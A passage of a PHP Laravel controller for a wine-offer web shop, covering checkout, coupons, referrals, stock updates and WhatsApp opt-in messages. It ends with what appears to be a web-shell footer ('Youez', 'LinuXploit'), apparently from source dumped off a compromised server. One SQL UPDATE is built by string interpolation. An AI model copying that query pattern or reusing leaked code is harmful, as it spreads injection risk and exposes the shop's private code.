                        Log::info("DUPLICATE CHECKOUT DETECTED (UNIQUE CONSTRAINT CARTÃO): Pedido {$pedidoExistente->id} já existe com token {$idempotencyToken}");
                        return response()->json(array(
                            'status'  => true,
                            'message' => 'Compra <strong>efetuada</strong> com sucesso!',
                            'id'      => $pedidoExistente->id
                        ));
                    }
                }
                throw $e;
            }

            GeralService::recalcularAdega($pedidoVenda->id_cliente, $pedidoVenda->id, FALSE, $pedidoVenda->confraria_id);

            if(isset($id_pedido_venda_transacao) && is_numeric($id_pedido_venda_transacao)){
                DB::table('pedido_venda_transacao')->where('id', $id_pedido_venda_transacao)->update(['pedido_venda_id' => $pedidoVenda->id]);
            }

            $pedidoVendaHistorico->id_pedido_venda_status = $id_pedido_venda_status;

            Log::info("STEP 02 END : PAGAMENTO CARTÃO ({$hash})");

        }

        Log::info("STEP 03 BEGIN : VALIDAÇÃO CUPOM ({$hash})");

		if($cupom){

			$cupomPedidoVenda = new CupomPedidoVenda();
			$cupomPedidoVenda->id_cupom = $cupom['id'];
			$cupomPedidoVenda->id_pedido_venda = $pedidoVenda->id;
			$cupomPedidoVenda->data = date('Y-m-d H:i:s');
			$cupomPedidoVenda->save();

            if($cupomIndicacaoAtivo && ($cupom['codigo'] == $cupomIndicacaoAtivo->codigo)){

                $Indicacoes = GeralService::buscarCuponsIndicacoes($cupom['id']);

                if(count($Indicacoes) > 0){
                    foreach ($Indicacoes as $Indicacao) {
                        $CupomPedidoIndicacao = new CupomPedidoIndicacao;
                        $CupomPedidoIndicacao->data_cadastro      = date('Y-m-d H:i');
                        $CupomPedidoIndicacao->cupom_indicacao_id = $Indicacao->id;
                        $CupomPedidoIndicacao->pedido_venda_id    = $pedidoVenda->id;
                        if(isset($cupomPedidoVenda)){
                            $CupomPedidoIndicacao->cupom_pedido_venda_id = $cupomPedidoVenda->id;
                        }
                        $CupomPedidoIndicacao->save();
                    }
                }

            }

		}

        //VERIFICA SE HOUVE INDICAÇÃO

        if($cupomIndicacaoAtivo){
            $Indicacao = CupomIndicacao::select('cupom_indicacao.*')->join('cupom', 'cupom_indicacao.id_cupom', '=', 'cupom.id')->where('id_indicado', $cadastro->id)->where('cupom.codigo', $cupomIndicacaoAtivo->codigo)->first();
            if($Indicacao && count($cadastro->compras) == 1){

                $CupomPedidoIndicacao = new CupomPedidoIndicacao;
                $CupomPedidoIndicacao->data_cadastro      = date('Y-m-d H:i');
                $CupomPedidoIndicacao->cupom_indicacao_id = $Indicacao->id;
                $CupomPedidoIndicacao->pedido_venda_id    = $pedidoVenda->id;
                if(isset($cupomPedidoVenda)){
                    $CupomPedidoIndicacao->cupom_pedido_venda_id = $cupomPedidoVenda->id;
                }
                $CupomPedidoIndicacao->save();

                if($pedidoVenda->id_status_pedido_venda == 2){
                    $CupomCadastro = new CupomCadastro;
                    $CupomCadastro->id_cupom           = $Indicacao->id_cupom;
                    $CupomCadastro->id_cadastro        = $Indicacao->id_indicador;
                    $CupomCadastro->id_cupom_indicacao = $Indicacao->id;
                    $CupomCadastro->save();
                }

            }
        }

        Log::info("STEP 03 END : VALIDAÇÃO CUPOM ({$hash})");

        $pedidoVendaHistorico->id_pedido_venda   = $pedidoVenda->id;
        $pedidoVendaHistorico->data              = date('Y-m-d H:i');
        $pedidoVendaHistorico->notificar_cliente = 0;
        $pedidoVendaHistorico->id_colaborador    = 1;

        Log::info("STEP 04 BEGIN : PRODUTO CARRINHO ({$hash})");

        $nr_ofertas        = 0;
        $valor_economizado = 0;
        $qtd_garrafas      = 0;

        foreach (Cart::content() as $item) {
            if($item->options->tipo == 'produto'){
                $pedidoVendaProduto = new PedidoVendaHasProduto();
                $pedidoVendaProduto->id_produto = $item->options->id;
                $pedidoVendaProduto->id_pedido_venda = $pedidoVenda->id;
                $pedidoVendaProduto->quantidade = $item->qty;
                $pedidoVendaProduto->valor_total = $item->qty * $item->price;
                $pedidoVendaProduto->save();
            }elseif($item->options->tipo == 'oferta'){

                Log::info("STEP 04.01 BEGIN : PEDIDO X PRODUTO ({$hash})");
                $nr_ofertas += $item->qty;
                $oferta = Oferta::with('produtos.produto')->find($item->options->id);
                $valor_economizado += $oferta->preco_mercado - $oferta->preco_oferta;

                if($item->options->id_produto){
                    $pedidoVendaProduto = new PedidoVendaHasProduto();
                    $pedidoVendaProduto->id_oferta = $oferta->id;
                    $pedidoVendaProduto->id_produto = $item->options->id_produto;
                    $pedidoVendaProduto->id_pedido_venda = $pedidoVenda->id;
                    $pedidoVendaProduto->quantidade = $item->qty;
                    $pedidoVendaProduto->valor_total = $item->qty * $item->price;
                    $pedidoVendaProduto->save();

                    $qtd_garrafas += $item->qty;

                }else{
                    foreach ($oferta->produtos as $ofertaHasProduto) {
                        $pedidoVendaProduto = new PedidoVendaHasProduto();
                        $pedidoVendaProduto->id_oferta = $oferta->id;
                        $pedidoVendaProduto->id_produto = $ofertaHasProduto->id_produto;
                        $pedidoVendaProduto->id_pedido_venda = $pedidoVenda->id;
                        $pedidoVendaProduto->quantidade = $ofertaHasProduto->quantidade * $item->qty;
                        $pedidoVendaProduto->valor_total = $ofertaHasProduto->valor_total * $item->qty;
                        $pedidoVendaProduto->save();
                        $qtd_garrafas += $item->qty;
                    }
                }

                Log::info(json_encode($item->options));

                DB::table('pedido_venda_has_oferta')->insert([
                    [
                        'pedido_venda_id'   => $pedidoVenda->id,
                        'oferta_id'         => $oferta->id,
                        'quantidade'        => $item->qty,
                        'valor_unitario'    => $oferta->preco_oferta,
                        'valor_total'       => $oferta->preco_oferta * $item->qty,
                        'desconto_ocultado' => ($item->options->desconto_ocultado ? 1 : 0),
                        'created_at'        => date('Y-m-d H:i:s')
                    ]
                ]);

                Log::info("STEP 04.01 END : PEDIDO X PRODUTO ({$hash})");

                Log::info("STEP 04.02 BEGIN : ATUALIZA ESTOQUE ({$hash})");
                OfertaReserva::atualizaEstoque($oferta, $pedidoVenda, $item->qty, $item->options->id_produto);
                Log::info("STEP 04.02 EBD : ATUALIZA ESTOQUE ({$hash})");

                Log::info("STEP 04.03 BEGIN : alteraOrdenacaoOferta ({$hash})");
                GeralService::alteraOrdenacaoOferta($oferta);
                Log::info("STEP 04.03 END : alteraOrdenacaoOferta ({$hash})");
            }
        }

        Log::info("STEP 04 END : PRODUTO CARRINHO ({$hash})");

        Log::info("STEP 05 BEGIN : FIM PROCESSO ({$hash})");

        $pedidoVenda->qtd_garrafas = $qtd_garrafas;
        $pedidoVenda->valor_economizado = $valor_economizado;
        $pedidoVenda->nr_ofertas = $nr_ofertas;

        if(env('APP_ENV') == 'local'){
            $endereco_ip = '186.216.248.40';
        }else{
            $endereco_ip = GeralService::getClientIp();
        }
        $pedidoVenda->endereco_ip = $endereco_ip;

        $cadastro = Cadastro::where('user_id', $user->id)->first();
        if($cadastro->enderecoPrincipal && $cadastro->enderecoPrincipal->estado){
            $pedidoVenda->uf_cliente = $cadastro->enderecoPrincipal->estado->sigla;
        }

        if(!empty($pedidoVenda->endereco_ip)){
            $retorno_ip = GeralService::callIpAPI($pedidoVenda->endereco_ip);
            if($retorno_ip){
                $retorno_ip = json_decode($retorno_ip);
                if(isset($retorno_ip->region_code)){
                    $pedidoVenda->uf_ip = $retorno_ip->region_code;
                }
            }
        }

        $pedidoVenda->unidade_negocio_id = GeralService::checkUnidadeNegocio($pedidoVenda, 'pedido-venda');
        $sql = "UPDATE conta_receber SET unidade_negocio_id = {$pedidoVenda->unidade_negocio_id} WHERE id_pedido_venda = {$pedidoVenda->id}";
        DB::update($sql);
        Log::info("confirmarCompra:unidade_negocio_id => {$pedidoVenda->unidade_negocio_id}");

        $pedidoVenda->save();
        $cadastro->save();
        $pedidoVendaHistorico->save();

        GeralService::recalcularAdega($pedidoVenda->id_cliente, $pedidoVenda->id, FALSE, $pedidoVenda->confraria_id);
        GeralService::checkoutTracking('pedido-venda', ['id_tipo' => $pedidoVenda->id, 'acao' => 'checkout']);

		session(['cupom' => null]);
        session(['cupom_adega_virada' => null]);
        session(['usar_saldo' => null]);

        Cart::destroy();
        OfertaReserva::limpaSession();

        $keyReserva = str_replace("=", "", base64_encode('reservaTimeout'));
        setcookie($keyReserva, FALSE); // Remove KeyReserva == 'cmVzZXJ2YVRpbWVvdXQ'

        Log::info("STEP 05 END : FIM PROCESSO ({$hash})");

        Log::info("FINISH CHECKOUT ({$hash})");

        return response()->json(array(
            'status'  => true,
            'message' => 'Compra <strong>efetuada</strong> com sucesso!',
            'id'      => $pedidoVenda->id
        ));

    }

   public function cadastroWhatsapp(Request $request){

        try {

            $post   = $request->input();
            $numero = str_replace(["(", ")", " ", "+55", "-"], '', $post['numero']);

            if((Whatsapp::where('numero', $numero)->count()) > 0) {
                 return response()->json(array(
                    'status' => false,
                    'message' => 'Este número de celular já está cadastrado.',
                 ));
            }elseif(!is_numeric($numero)){
                return response()->json(array(
                    'status'  => false,
                    'message' => 'O número de celular deve conter somente números',
                 ));
            }else{

                 $whatsapp                = new Whatsapp();
                 $whatsapp->numero        = $numero;
                 $whatsapp->data_registro = date('Y-m-d H:i:s');

                 $user = Sentinel::getUser();

                 if ($user) {
                     $cadastro = Cadastro::where('user_id', $user->id)->first();
                     $whatsapp->cadastro_id = $cadastro->id;
                 }

                 if($whatsapp->save()){
                    
                    $text1   = "Olá, bem-vindo(a) ao nosso canal de ofertas via Whatsapp. A partir de agora você poderá conferir o vinho do dia de forma ágil e rápida, possibilitando a compra imediata do produto. Para completar o cadastro, basta adicionar o número da VinumDay em seus contatos conforme indicado abaixo.";
                    $text2   = "VinumDay: +555434190984";
                    $text3   = 'Caso não queira mais receber nossas ofertas basta responder com a palavra "cancelar".';

                    $send1 = GeralService::callWhatsappAPI('chat', $numero, "text={$text1}");
                    $send2 = GeralService::callWhatsappAPI('chat', $numero, "text={$text2}");
                    $send3 = GeralService::callWhatsappAPI('chat', $numero, "text={$text3}");

                    return response()->json(array(
                        'status'  => true,
                        'message' => 'Celular cadastrado com sucesso, em breve você reberá nossas ofertas diárias via Whatsapp.',
                    ));

                 }else{
                    return response()->json(array(
                        'status'  => false,
                        'message' => 'Falha ao cadastrar celular!',
                    ));
                 }
            }
            
        } catch (Exception $e) {
            return response()->json(array(
                'status'  => false,
                'message' => 'Falha ao cadastrar celular!',
            ));  
        }
   }

   public function utilizarSaldo(Request $request){
        
        $post     = $request->input();
        $response = CartService::utilizarSaldo($post);

        return response()->json($response);

    }

    public function getTipoAdega(Request $request){
        $post       = $request->input();
        $tipo_adega = CartService::getTipoAdega($request->input('tipo_adega'));
        return response()->json(['status' => true, 'message' => 'Tipo Adega atualizada!', 'tipo_adega' => $tipo_adega]);
    }

	public function adicionarCupom(Request $request){
        
        $post = $request->input();
        session(['cupom_removido' => null]);
        $response = CartService::adicionarCupom($post['codigo'], $post['meio_pagamento'], TRUE);

        return response()->json($response);

    }

	public function removerCupom(Request $request){

		session(['cupom' => null]);
        session(['cupom_removido' => TRUE]);

        $html       = CartService::buscarHtmlListagemCart();
        $html_cupom = CartService::buscarHtmlCupomDesconto();
        $parcelas   = CartService::buscarParcelas();
        $valorTotal = CartService::calcularValorTotal();

		return response()->json(array(
            'status'      => true,
            'message'     => 'Cupom removido com sucesso!',
            'html'        => $html,
            'html_cupom'  => $html_cupom,
            'parcelas'    => $parcelas,
            'valor_total' => ['total' => number_format($valorTotal->total, 2, ',', '.'), 'desconto' => $valorTotal->desconto]
		));
   }

   public function adicionarCupomAdegaVirada(Request $request){
        
        $post = $request->input();
        session(['cupom_removido_adega_virada' => null]);
        $response = CartService::adicionarCupomAdegaVirada($post['codigo'], TRUE);

        return response()->json($response);

    }

    public function removerCupomAdegaVirada(Request $request){

        session(['cupom_adega_virada' => null]);
        session(['cupom_removido_adega_virada' => TRUE]);

        $html              = CartService::buscarHtmlListagemCart();
        $html_cupom        = CartService::buscarHtmlCupomDesconto();
        $html_adega_virada = CartService::buscarHtmlCupomAdegaVirada();
        $parcelas          = CartService::buscarParcelas();
        $valorTotal        = CartService::calcularValorTotal();

        return response()->json(array(
            'status'            => true,
            'message'           => 'Código removido com sucesso!',
            'html'              => $html,
            'html_cupom'        => $html_cupom,
            'html_adega_virada' => $html_adega_virada,
            'parcelas'          => $parcelas,
            'valor_total'       => ['total' => number_format($valorTotal->total, 2, ',', '.'), 'desconto' => $valorTotal->desconto]
        ));
   }

   public function addOfertaEquipe(Request $request){
        $input = $request->input();

        if (!$input['quantidade']) {
            return response()->json(array(
                'status' => false,
                'message' => 'Você deve fornecer uma quantidade válida.',
            ));
        }

        $result = CartService::addOfertaEquipe($input);

        return response()->json($result);
   }

}

Youez - 2016 - github.com/yon3zu
LinuXploit